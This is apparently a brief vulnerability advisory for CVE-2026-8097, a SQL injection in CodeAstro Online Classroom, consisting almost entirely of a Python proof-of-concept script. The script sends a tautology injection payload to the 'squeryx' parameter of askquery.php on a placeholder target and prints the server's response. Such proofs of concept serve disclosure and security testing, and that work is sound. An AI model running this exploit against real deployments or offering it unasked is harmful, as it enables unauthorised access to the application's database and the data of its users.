CVE-2026-8097: CodeAstro Online Classroom SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-ip/askquery.php" # SQL Injection Payload for 'squeryx' parameter # This payload attempts to manipulate the SQL query logic payload = { "squeryx": "' OR '1'='1'-- " } try: # Sending the malicious request response = requests.post(target_url, data=payload) # Analyzing the response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response snippet:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")